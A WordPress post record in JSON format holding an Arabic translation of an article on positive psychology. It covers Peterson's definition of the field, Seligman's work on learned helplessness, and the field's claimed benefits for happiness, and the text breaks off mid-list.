{"id":58124,"date":"2021-08-24T09:50:40","date_gmt":"2021-08-24T09:50:40","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=58124"},"modified":"2021-08-24T09:50:40","modified_gmt":"2021-08-24T09:50:40","slug":"%d9%85%d8%a7-%d8%a7%d9%84%d9%85%d9%82%d8%b5%d9%88%d8%af-%d8%a8%d8%b9%d9%84%d9%85-%d8%a7%d9%84%d9%86%d9%81%d8%b3-%d8%a7%d9%84%d8%a5%d9%8a%d8%ac%d8%a7%d8%a8%d9%8a%d8%9f-%d9%88%d9%84%d9%85%d8%a7%d8%b0","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=58124","title":{"rendered":"\u0645\u0627 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0628\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u061f \u0648\u0644\u0645\u0627\u0630\u0627 \u0647\u0648 \u0645\u0647\u0645\u061f"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #0000ff;\"><strong>\u062a\u0623\u0644\u064a\u0641: \u0643\u0648\u0631\u062a\u0646\u064a \u0625\u064a \u0623\u0643\u0631\u0645\u0627\u0646\u060c 2020<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-58125 aligncenter\" src=\"http:\/\/79j.713.mywebsitetransfer.com\/wp-content\/uploads\/2021\/08\/\u0643\u0648\u0631\u062a\u0646\u064a-\u0625\u064a-\u0623\u0643\u0631\u0645\u0627\u0646-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/08\/\u0643\u0648\u0631\u062a\u0646\u064a-\u0625\u064a-\u0623\u0643\u0631\u0645\u0627\u0646-300x225.jpg 300w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/08\/\u0643\u0648\u0631\u062a\u0646\u064a-\u0625\u064a-\u0623\u0643\u0631\u0645\u0627\u0646-1024x768.jpg 1024w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/08\/\u0643\u0648\u0631\u062a\u0646\u064a-\u0625\u064a-\u0623\u0643\u0631\u0645\u0627\u0646-768x576.jpg 768w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2021\/08\/\u0643\u0648\u0631\u062a\u0646\u064a-\u0625\u064a-\u0623\u0643\u0631\u0645\u0627\u0646.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #ff6600;\"><strong>\u062a\u0631\u062c\u0645\u0629 \u0648\u062a\u0646\u0633\u064a\u0642 \u0648\u0625\u0636\u0627\u0641\u0629<\/strong><strong>: <\/strong><\/span><span style=\"color: #000000;\">\u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629| \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629\u060c \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631<\/span><\/p>\n<p style=\"text-align: justify;\">\u0625\u0630\u0627 \u0643\u0646\u062a \u0633\u0645\u0639\u062a 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style=\"text-align: justify;\">\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0648\u0635\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0637\u0631\u0627\u0626\u0642 \u0645\u062a\u0639\u062f\u062f\u0629 \u0648\u0628\u062a\u0639\u0628\u064a\u0631\u0627\u062a \u0644\u063a\u0648\u064a\u0629 \u0645\u062a\u0646\u0648\u0639\u0629\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0623\u0643\u062b\u0631 \u0634\u064a\u0648\u0639\u064b\u0627 \u0648\u0642\u0628\u0648\u0644\u0627\u064b \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0627\u0644\u0645\u062c\u0627\u0644 \u0647\u0648 \u062a\u0639\u0631\u064a\u0641 \u0643\u0631\u064a\u0633\u062a\u0648\u0641\u0631 \u0628\u064a\u062a\u0631\u0633\u0648\u0646 (2008) \u0648\u0645\u0641\u0627\u062f\u0647 \u0623\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a &#8221; \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0643\u0644 \u0645\u0627 \u064a\u062c\u0639\u0644 \u0627\u0644\u062d\u064a\u0627\u0629 \u062c\u062f\u064a\u0631\u0629 \u0628\u0623\u0646 \u062a\u064f\u0639\u0627\u0634&#8221; <em>(Peterson, 2008)<\/em>.\u00a0 \u0648\u0644\u062a\u0648\u0636\u064a\u062d \u0647\u0630\u0627 \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0645\u062e\u062a\u0635\u0631 \u064a\u0642\u0627\u0644 \u0623\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0645\u062f\u062e\u0644 \u0639\u0644\u0645\u064a \u0641\u064a \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0648\u0627\u0644\u0633\u0644\u0648\u0643 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0628\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0628\u0648\u0627\u0637\u0646 \u0627\u0644\u0636\u0639\u0641 \u0648\u0645\u0638\u0627\u0647\u0631 \u0627\u0644\u0642\u0635\u0648\u0631\u060c \u0648\u0628\u0646\u0627\u0621 \u062d\u064a\u0627\u0629 \u062c\u064a\u062f\u0629 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0625\u0635\u0644\u0627\u062d \u0623\u0648 \u062a\u0635\u0648\u064a\u0628 \u0645\u0627 \u0647\u0648 \u0633\u064a\u0621 \u0623\u0648 \u0645\u0639\u062a\u0644\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u062d\u064a\u0627\u0629 \u0627\u0644\u0639\u0627\u062f\u064a\u064a\u0646 \u0645\u0646 \u0627\u0644\u0628\u0634\u0631 \u0648\u062a\u0646\u0645\u064a\u062a\u0647\u0627 \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u062d\u0635\u0631\u064a\u064b\u0627 \u0639\u0644\u0649 \u0645\u0646 \u064a\u0639\u0627\u0646\u0648\u0646 \u0645\u0646 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0623\u0648 \u0627\u0639\u062a\u0644\u0627\u0644\u0627\u062a \u0646\u0641\u0633\u064a\u0629 (Peterson, 2008).<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\"><em><strong>\u0645\u0627 \u0627\u0644\u0630\u064a \u064a\u0631\u0643\u0632 \u0639\u0644\u064a\u0647 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0627\u062e\u062a\u0635\u0627\u0631\u061f <\/strong><\/em><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u064a\u0631\u0643\u0632 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0648\u0642\u064a\u0627\u0633 \u0648\u062a\u0646\u0645\u064a\u0629 \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u0648\u0627\u0644\u0645\u0624\u062b\u0631\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0628\u0645\u0627 \u064a\u062a\u0636\u0645\u0646\u0647 \u0630\u0644\u0643 \u0645\u0646 \u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u062e\u0628\u0631\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 Positive experiences \u0645\u062b\u0644 (\u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0627\u0644\u0628\u0647\u062c\u0629\u060c \u0627\u0644\u0637\u0645\u0648\u062d\u060c \u0648\u0627\u0644\u062d\u0628).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u062d\u0627\u0644\u0627\u062a \u0648\u0627\u0644\u0633\u0645\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 Positive states and traits \u0645\u062b\u0644 (\u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646\u060c \u0627\u0644\u0635\u0645\u0648\u062f\u060c \u0648\u0627\u0644\u0634\u0641\u0642\u0629 \u0648\u0627\u0644\u0631\u0641\u0642 \u0648\u0627\u0644\u062a\u0648\u0627\u062f).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 Positive institutions (\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0645\u0628\u0627\u062f\u0626 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0627\u0644\u0645\u0646\u0638\u0645\u0627\u062a \u0648\u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a).<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0643\u0645\u062c\u0627\u0644 \u0644\u0644\u062f\u0631\u0627\u0633\u0629 \u064a\u0631\u0643\u0632 \u062c\u0644 \u0627\u0647\u062a\u0645\u0627\u0645\u0647 \u0648\u064a\u0643\u062b\u0641 \u0623\u0646\u0635\u0627\u0631\u0647\u0645 \u062c\u0647\u062f\u0647\u0645 \u0648\u0648\u0642\u062a\u0647\u0645 \u0641\u064a \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0641\u064a \u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0645\u062b\u0644: \u0645\u0643\u0627\u0645\u0646 \u0642\u0648\u0629 \u0627\u0644\u0637\u0628\u0639\u060c \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u060c \u0627\u0644\u0631\u0636\u0627 \u0639\u0646 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0627\u0644\u0647\u0646\u0627\u0621 \u0648\u0637\u064a\u0628 \u0627\u0644\u0648\u062c\u0648\u062f\u060c \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646\u060c \u0627\u0644\u0634\u0641\u0642\u0629 \u0648\u0627\u0644\u0631\u0641\u0642 \u062e\u0627\u0635\u0629 \u0627\u0644\u0631\u0641\u0642 \u0648\u0627\u0644\u0634\u0641\u0642\u0629 \u0628\u0627\u0644\u0630\u0627\u062a\u060c \u062a\u0642\u062f\u064a\u0631 \u0627\u0644\u0630\u0627\u062a\u060c \u0627\u0644\u062b\u0642\u0629 \u0641\u064a \u0627\u0644\u0630\u0627\u062a\u060c \u0627\u0644\u0623\u0645\u0644\u060c \u0648\u0627\u0644\u0646\u0634\u0648\u0629 \u0648\u0627\u0644\u062d\u0628\u0648\u0631. \u0648\u064a\u062a\u0645 \u062f\u0631\u0627\u0633\u0629 \u0647\u0630\u0647 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0646\u0647\u062c \u0627\u0644\u0639\u0644\u0645\u064a \u0644\u062a\u0639\u0644\u0645 \u0643\u0644 \u0645\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0624\u062f\u064a \u0628\u0627\u0644\u0646\u0627\u0633 \u0625\u0644\u0649 \u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0648\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0648\u062a\u0631\u0642\u064a\u0629 \u0648\u062a\u062c\u0648\u064a\u062f \u0646\u0648\u0639\u064a\u0629 \u062d\u064a\u0627\u062a\u0647\u0645.<\/p>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u062b\u0627\u0646\u064a\u064b\u0627- \u0639\u0646 \u0645\u0624\u0633\u0633 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a: \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646: <\/strong><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646<a href=\"https:\/\/positivepsychology.com\/who-is-martin-seligman\/\"><strong>Martin Seligman<\/strong><\/a>\u0628\u0627\u062d\u062b \u0641\u064a \u0645\u062c\u0627\u0644 \u0646\u0637\u0627\u0642 \u0627\u0644\u062e\u0628\u0631\u0629 \u0627\u0644\u0639\u0627\u0645\u0629 \u0627\u0644\u0648\u0627\u0633\u0639\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633\u060c \u0648\u062d\u062a\u0649 \u0648\u0644\u0648 \u0644\u0645 \u062a\u0643\u0646 \u0633\u0645\u0639\u062a \u0623\u064a \u0634\u064a\u0621 \u0639\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0625\u0644\u0627 \u0627\u0644\u0622\u0646\u060c \u0633\u0645\u0639 \u062c\u0645\u064a\u0639 \u0645\u0646 \u062a\u062e\u0635\u0635 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0639\u0646 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0628\u0635\u0648\u0631\u0629 \u0639\u0627\u0645\u0629\u060c \u062d\u064a\u062b \u0628\u062f\u0623 \u062f\u0631\u0627\u0633\u0627\u062a\u0647 \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0645\u0646\u0630 \u0627\u0644\u0633\u062a\u064a\u0646\u0627\u062a \u0648\u0627\u0644\u0633\u0628\u0639\u064a\u0646\u0627\u062a \u0645\u0646 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u0639\u0634\u0631\u064a\u0646 \u0648\u0627\u0636\u0639\u064b\u0627 \u0644\u0623\u0633\u0633 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0627\u0635\u0637\u0644\u0627\u062d\u064b\u0627 \u0628\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0639\u062c\u0632 \u0627\u0644\u0645\u062a\u0639\u0644\u0645<a href=\"https:\/\/positivepsychology.com\/learned-helplessness-seligman-theory-depression-cure\/\"><strong>learned helplessness<\/strong><\/a>.<\/p>\n<p style=\"text-align: justify;\">\u0647\u0630\u0647 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u062a\u064a \u0623\u062b\u0631\u062a \u0641\u064a \u0645\u062c\u0627\u0644 \u062f\u0631\u0627\u0633\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0644\u0639\u0642\u0648\u062f \u0637\u0648\u064a\u0644\u0629 \u0648\u064a\u0646\u0637\u0644\u0642 \u0645\u0646\u0647\u0627 \u0641\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0643\u064a\u0641 \u064a\u062a\u0639\u0644\u0645 \u0627\u0644\u0628\u0634\u0631 \u0648\u0627\u0644\u062d\u064a\u0648\u0627\u0646\u0627\u062a \u0627\u0644\u0639\u062c\u0632 \u0648\u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0641\u0642\u062f\u0627\u0646 \u0627\u0644\u0633\u064a\u0637\u0631\u0629 \u0639\u0644\u0649 \u0645\u0627 \u064a\u062d\u062f\u062b \u0644\u0647\u0645\u060c \u0648\u0631\u0628\u0637 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0647\u0630\u0647 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0628\u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u060c \u0648\u0644\u0627\u062d\u0638 \u0623\u0646 \u0639\u062f\u064a\u062f \u0645\u0645\u0646 \u0627\u0644\u0646\u0627\u0633 \u064a\u0639\u0627\u0646\u0648\u0646 \u0645\u0646 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628 \u064a\u0634\u0639\u0631\u0648\u0646 \u0628\u0627\u0644\u0639\u062c\u0632 \u0648\u0627\u0644\u064a\u0623\u0633\u060c \u0648\u062a\u0648\u0635\u0644 \u0645\u0646 \u062f\u0631\u0627\u0633\u0627\u062a\u0647 \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644 \u0625\u0644\u0649 \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0631\u0624\u0649 \u0648\u0627\u0644\u0623\u0641\u0643\u0627\u0631 \u0648\u0627\u0644\u0634\u0648\u0627\u0647\u062f \u0627\u0644\u062a\u064a \u0623\u0645\u0643\u0646 \u0628\u0645\u0648\u062c\u0628\u0647\u0627 \u0639\u0644\u0627\u062c \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628\u064a\u0629\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u0648\u0642\u0627\u064a\u0629 \u0645\u0646 \u0627\u0644\u0627\u0643\u062a\u0626\u0627\u0628.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0631\u063a\u0645 \u0623\u0647\u0645\u064a\u0629 \u0645\u0627 \u062a\u0648\u0635\u0644 \u0625\u0644\u064a\u0647 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0645\u0646 \u0646\u062a\u0627\u0626\u062c\u060c \u0643\u0627\u0646 \u0639\u0644\u0649 \u064a\u0642\u064a\u0646 \u0628\u0623\u0646 \u0623\u0645\u0627\u0645\u0647 \u0645\u0633\u0627\u0631\u064b\u0627 \u0637\u0648\u064a\u0644\u0627\u064b \u0644\u0644\u0625\u0633\u0647\u0627\u0645 \u0641\u064a \u0645\u062c\u0627\u0644 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optimism \u0641\u064a \u0625\u0637\u0627\u0631 \u0628\u0631\u0646\u0627\u0645\u062c \u0628\u062d\u062b\u064a \u0643\u0627\u0645\u0644 \u0639\u0646 &#8220;\u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629&#8221;\u060c \u0648 &#8220;\u0627\u0644\u0635\u0645\u0648\u062f \u0627\u0644\u0646\u0641\u0633\u064a&#8221; \u0644\u0644\u0623\u0637\u0641\u0627\u0644 \u0648\u0623\u0639\u0636\u0627\u0621 \u0627\u0644\u0642\u0648\u0627\u062a \u0627\u0644\u0645\u0633\u0644\u062d\u0629 \u0641\u064a \u0623\u0645\u0631\u064a\u0643\u0627 \u0648\u063a\u064a\u0631\u0647\u0645.<\/p>\n<p style=\"text-align: justify;\">\u0648\u062a\u0632\u0627\u064a\u062f \u0625\u062d\u0628\u0627\u0637 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0645\u0646 \u0636\u064a\u0642 \u0646\u0637\u0627\u0642 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0648\u062a\u0631\u0643\u064a\u0632\u0647 \u0634\u0628\u0647 \u0627\u0644\u062d\u0635\u0631\u064a \u0639\u0644\u0649 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\u062a\u0634\u0643\u0632\u0646\u062a\u064a\u0645\u0647\u0627\u0644\u064a <a href=\"https:\/\/positivepsychology.com\/mihaly-csikszentmihalyi-father-of-flow\/\">Mihaly Csikszentmihalyi<\/a>.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0645\u0646\u0630 \u0627\u0644\u062f\u0639\u0648\u0629 \u0627\u0644\u062a\u064a \u0648\u062c\u0647\u0647\u0627 \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0633\u0646\u0629 2000 \u0644\u0644\u062a\u0631\u0643\u064a\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0631\u0643\u0632 \u0627\u0644\u0622\u0644\u0627\u0641 \u0645\u0646 \u0627\u0644\u0628\u0627\u062d\u062b\u064a\u0646 \u062d\u0648\u0644 \u0627\u0644\u0639\u0627\u0644\u0645 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644 \u0648\u0623\u062c\u0631\u064a\u062a \u0622\u0644\u0627\u0641 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\u062f\u0639\u0648\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u062a\u062a\u0636\u0645\u0646 \u0627\u0644\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u0647\u0630\u0627 \u0648\u0630\u0627\u0643 \u062f\u0648\u0646 \u062a\u0635\u0648\u0631 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0644\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0645\u0627 \u064a\u062a\u0648\u0647\u0645 \u0623\u0646\u0647 &#8220;\u0639\u0644\u0645 \u0646\u0641\u0633 \u062a\u0642\u0644\u064a\u062f\u064a&#8221;\u060c \u0628\u0645\u0627 \u064a\u062a\u0648\u0647\u0645 \u0623\u0646\u0647 &#8220;\u0639\u0644\u0645 \u0646\u0641\u0633 \u0625\u064a\u062c\u0627\u0628\u064a&#8221;\u060c \u0625\u0646\u0647 \u0641\u0642\u0637 \u062f\u0639\u0648\u0629 \u0644\u062a\u0642\u0648\u064a\u0636 \u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u064a\u0632 \u0644\u0644\u0633\u0644\u0628\u064a\u0629 \u0627\u0644\u0630\u064a \u0633\u0627\u062f \u0648\u0644\u0648\u0646 \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0639\u0627\u0645 \u0644\u063a\u0627\u0644\u0628\u064a\u0629 \u0642\u0636\u0627\u064a\u0627 \u0627\u0644\u062a\u0646\u0627\u0648\u0644 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0644\u0639\u0642\u0648\u062f \u0637\u0648\u0627\u0644.<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u0645\u0643\u0646 \u062a\u0644\u0645\u0633 \u0639\u062f\u062f \u0645\u0646 \u0641\u0648\u0627\u0626\u062f \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u062a\u0631\u0643\u064a\u0632\u0647 \u0639\u0644\u0649 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0628\u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u064a\u0627\u0629 \u0641\u064a \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u064a\u0628\u0627\u0644\u063a \u0627\u0644\u0646\u0627\u0633 \u0641\u064a \u062a\u0642\u062f\u064a\u0631 \u0642\u064a\u0645\u0629 \u0627\u0644\u0645\u0627\u0644 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0633\u0639\u0627\u062f\u062a\u0647\u0645\u060c \u0648\u0644\u0627 \u064a\u0646\u0643\u0631 \u0627\u0644\u0625\u0633\u0647\u0627\u0645 \u0627\u0644\u0646\u0633\u0628\u064a \u0627\u0644\u0636\u0626\u064a\u0644 \u0644\u0644\u0645\u0627\u0644 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0635\u062f\u062f\u060c \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0645\u0627\u0644 \u0644\u0627 \u064a\u0636\u0645\u0646 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0639\u0644\u0649 \u0627\u0644\u0625\u0637\u0644\u0627\u0642\u061b \u0648\u0645\u0646 \u062b\u0645 \u0641\u0625\u0646 \u0642\u0644\u0629 \u0627\u0644\u062a\u0631\u0643\u064a\u0632 \u0641\u064a \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u062b\u0631\u0648\u0629 \u0648\u0627\u0644\u0645\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0645\u0627\u062f\u064a\u0629 \u0631\u0628\u0645\u0627 \u064a\u062c\u0639\u0644\u0646\u0627 \u0623\u0643\u062b\u0631 \u0633\u0639\u0627\u062f\u0629 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0645\u0646 \u064a\u062c\u0639\u0644 \u0647\u0645\u0647 \u0627\u0644\u0627\u0633\u062a\u062d\u0648\u0627\u0630 \u0639\u0644\u0649 \u0627\u0644\u0645\u0627\u0644 \u0648\u0627\u0644\u062b\u0631\u0648\u0627\u062a \u0627\u0644\u0645\u0627\u062f\u064a\u0629 (Aknin, Norton, &amp; Dunn, 2009).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0625\u0646\u0641\u0627\u0642 \u0627\u0644\u0645\u0627\u0644 \u0641\u064a \u0627\u0644\u062e\u0628\u0631\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u062a\u064a\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u0627\u0644\u0633\u0627\u0631\u0629 \u0623\u0643\u062b\u0631 \u0625\u0633\u0647\u0627\u0645\u064b\u0627 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0627\u0644\u062a\u0648\u062c\u0647 \u0644\u0625\u0646\u0641\u0627\u0647 \u0641\u064a \u0627\u0644\u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062b\u0631\u0648\u0627\u062a \u0648\u0627\u0644\u0645\u0642\u062a\u0646\u064a\u0627\u062a \u0627\u0644\u0645\u0627\u062f\u064a\u0629\u061b \u0644\u0623\u0646 \u0627\u0644\u062a\u0633\u0644\u062d \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0628\u0630\u0647\u0646\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u062d\u0648\u0627\u0630 \u0644\u0627 \u064a\u0632\u064a\u062f \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0625\u0644\u0627 \u0647\u0645\u064b\u0627 \u0648\u0631\u0643\u062f\u064b\u0627 \u0648\u0631\u0627\u0621 \u0633\u0631\u0627\u0628 \u0648\u0645\u062a\u0627\u0639 \u0632\u0627\u0626\u0644 (Howell &amp; Hill, 2009).<\/span><\/li>\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646 \u0627\u0644\u0639\u0627\u0645\u0644 \u0627\u0644\u0623\u0643\u062b\u0631 \u0625\u0633\u0647\u0627\u0645\u064b\u0627 \u0641\u064a \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0641\u064a 